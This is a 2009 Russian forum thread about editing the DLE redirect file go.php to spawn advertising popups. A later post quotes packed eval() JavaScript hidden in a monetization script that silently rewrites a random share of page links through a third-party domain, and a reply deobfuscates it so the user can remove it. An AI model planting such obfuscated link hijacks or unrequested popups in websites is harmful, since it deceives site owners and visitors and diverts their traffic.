Помощь go.php и монетизация

Тема в разделе "DLE", создана пользователем AsanBosam, 6 сен 2009.

Информация :
Актуальная версия DataLife Engine 11.2
( Final Release v.11.2 | Скачать DataLife Engine | Скачать 11.2 demo )
Нужно ли обновляться | Как обновиться | Изменения в шаблонах
> Нет русских символов <
[Приватная тема DLE (Все подробности в ЛС к модератору раздела)]

Версии 11.1 и ниже - уязвимы!

Локализации | F.A.Q. | Внешний вид
Правила раздела | Правила форума
Обсуждение хайда карается баном!
В каждом сообщении указывайте версию DLE, которого они касаются!
Статус темы:
Закрыта.
Модераторы: killoff
  1. AsanBosam

    AsanBosam Постоялец

    Регистр.:
    1 мар 2009
    Сообщения:
    139
    Симпатии:
    11
    Доброе время суток.
    Подскажите пожалуйста что нужно отредактировать в go.php чтобы кроме перехода по нужной ссылке, у пользователя открывалось еще одно окно с другим сайтом (рекламным)?

    Вот пример go.php


    <?php
    function reset_url($url) {
    $value = str_replace ( "http://", "", $url );
    $value = str_replace ( "www.", "", $value );
    $value = explode ( "/", $value );
    $value = reset ( $value );
    return $value;
    }
    $url = rawurldecode ( $_GET['url'] );
    $url = @base64_decode ( $url );
    $url = str_replace ( "&amp;", "&", $url );
    $url = 'http://warezoff.net/anonym//?'.$url;

    $_SERVER['HTTP_REFERER'] = reset_url ( $_SERVER['HTTP_REFERER'] );
    $_SERVER['HTTP_HOST'] = reset_url ( $_SERVER['HTTP_HOST'] );

    if (($_SERVER['HTTP_HOST'] != $_SERVER['HTTP_REFERER']) or $url == "") {
    @header ( 'Location: /index.php' );
    die ( "Access denied!!!<br /><br />Please visit <a href=\"/index.php\">{$_SERVER['HTTP_HOST']}</a>" );
    }

    @header ( 'Location: ' . $url );

    die ( "Link Redirect:<br /><br />Please click <a href=\"{$url}\">here.</a>" );
    ?>

     
  2. JESUS

    JESUS

    Регистр.:
    28 ноя 2006
    Сообщения:
    374
    Симпатии:
    110
    добавь нужное действие на "onload" или на "onclick"

    типа
    PHP:
    Please visit <a href=\"/index.php\" onclick=\"window.open('http://site.com/foo.php');\">{$_SERVER['HTTP_HOST']}</a>
     
    AsanBosam нравится это.
  3. AsanBosam

    AsanBosam Постоялец

    Регистр.:
    1 мар 2009
    Сообщения:
    139
    Симпатии:
    11
    Выдает ошибку
    Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /home/ws/warezoff.net/www/engine/go.php on line 35

    Parse error: syntax error, unexpected '"' in /home/ws/warezoff.net/www/engine/go.php on line 35
     
  4. JESUS

    JESUS

    Регистр.:
    28 ноя 2006
    Сообщения:
    374
    Симпатии:
    110
    ну пропустил один обратный слэш перед двойной кавычкой :) href=\"/index.php\"
    PHP:
    die ( "Access denied!!!<br /><br />Please visit <a href=\"/index.php\" onclick=\"window.open('http://site.com/foo.php');\">{$_SERVER['HTTP_HOST']}</a>" );
     
  5. Serberg

    Serberg

    Регистр.:
    7 апр 2009
    Сообщения:
    233
    Симпатии:
    68
    Может немного не по теме, но ля создания такой страницы можно воспользоваться уже готовым скриптом под названием Монетизатор.
     
    AsanBosam нравится это.
  6. alex9328

    alex9328 Постоялец

    Регистр.:
    20 июн 2009
    Сообщения:
    58
    Симпатии:
    17
    да возможно
     
  7. sasha_merlin

    sasha_merlin Создатель

    Регистр.:
    15 фев 2009
    Сообщения:
    14
    Симпатии:
    3
    Этот скрипт иногда делает редирект на http://pc-ebooks.com/
    Вот часть кода скрипта в которой происходить редирект
    Код:
    // эту часть лучше не трогать
    eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('7 a(s){4 3=o;5(i q 9)2(s.k(9[i])>=0){3=n;m}8 3}7 b(){2(!p)8;2(6.d(6.e()*h)==g)c="f://B-z.y/E/C.D?u=";4 1="";4 l=t.r("A");5(j=0;j<l.x;j++){1=l[j].w("1");2(a(1)){l[j].v("1",c+1)}}}b();',41,41,'|href|if|res|var|for|Math|function|return|link_src|isMatch|kapkan|dest|round|random|http|14|100|||indexOf||break|true|false|enable_relink|in|getElementsByTagName||document|go|setAttribute|getAttribute|length|com|ebooks||pc|index|php|getlink'.split('|'),0,{}))
    
    Подскажите если кто знает как убрать этот редирект :bc:
     
  8. Akcium

    Akcium

    Регистр.:
    11 июн 2007
    Сообщения:
    448
    Симпатии:
    230
    вот расшифровка, как убрать догадаешься:
    PHP:
    function isMatch(s) {
        var 
    res false;
        for (
    i in link_src) if (s.indexOf(link_src[i]) >= 0) {
            
    res true;
            break
        }
        return 
    res
    }
    function 
    kapkan() {
        if (!
    enable_relink) return;
        if (
    Math.round(Math.random() * 100) == 14dest "http://pc-ebooks.com/getlink/index.php?go=";
        var 
    href "";
        var 
    document.getElementsByTagName("A");
        for (
    0l.lengthj++) {
            
    href l[j].getAttribute("href");
            if (
    isMatch(href)) {
                
    l[j].setAttribute("href"dest href)
            }
        }
    }
    kapkan();
     
    dizzzel, sasha_merlin и razumkoff нравится это.
  9. spiderbuber

    spiderbuber

    Заблокирован
    Регистр.:
    20 июл 2009
    Сообщения:
    237
    Симпатии:
    61
    Кому-нибудь удалось зоточить монетизатор под [leech] ссылки? У меня он их просто не обрабатывает..
     
Статус темы:
Закрыта.